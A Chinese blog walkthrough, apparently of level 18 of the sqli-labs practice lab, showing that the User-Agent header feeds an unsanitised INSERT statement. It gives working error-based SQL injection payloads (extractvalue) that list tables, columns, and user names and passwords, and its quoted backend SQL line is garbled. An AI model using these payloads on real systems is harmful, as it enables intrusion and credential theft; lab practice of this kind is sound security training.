Sqlilabs-18

来到了 18 关

feacb3c52a97462b61099bf0ab8179e.png

18 关同样也是在 UPDATE 上面做手脚,但是限制更加严格,不仅对 username 对 password 也做了 check_input

54d7ee69e0ba5bd6e43b44cac58951d.png

再看看后台 SQL 语句的构造:
i n s e r t = " I N S E R T I N T O ‘ s e c u r i t y ‘ . ‘ u a g e n t s ‘ ( ‘ u a g e n t ‘ , ‘ i p a d d r e s s ‘ , ‘ u s e r n a m e ‘ ) V A L U E S ( ′ insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' insert="INSERTINTOsecurity.uagents(uagent,ipaddress,username)VALUES(uagent’, ‘$IP’, $uname)";

24f40fc936bf8c90d042cadef9e1664.png

无论是从题目还是后台 SQL 语句,我们都可以得出,下手的地方不在 usernmae 也不在 password ,而是在 HTTP HEADER 头部分。
–USER-AGENT
“User-Agent 是浏览器表明自己的身份是哪种浏览器”

在这一关卡,也是首先检查用户名和密码是否正确,正确了才能进行 UPDATE 操作,若有一错都不能进行 UPDATE 操作。

在 hackbar 构造如下:
username right | password right | user-agent payload
390bf28a3afe21f51dde4f39a690ef6.png

以下是针对 user-agent 的 payload :
从之前的 sql 语句我们也可以看出,在 user-agent 处后台已经加了单引号了,所以我们改加 1 该加 and 要加,不能漏,漏就查不出来

–查表
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1'='1

–查列
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),0x7e)) and '1'='1

–查数据
1' and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) and '1'='1
1' and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e)) and '1'='1

😄

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值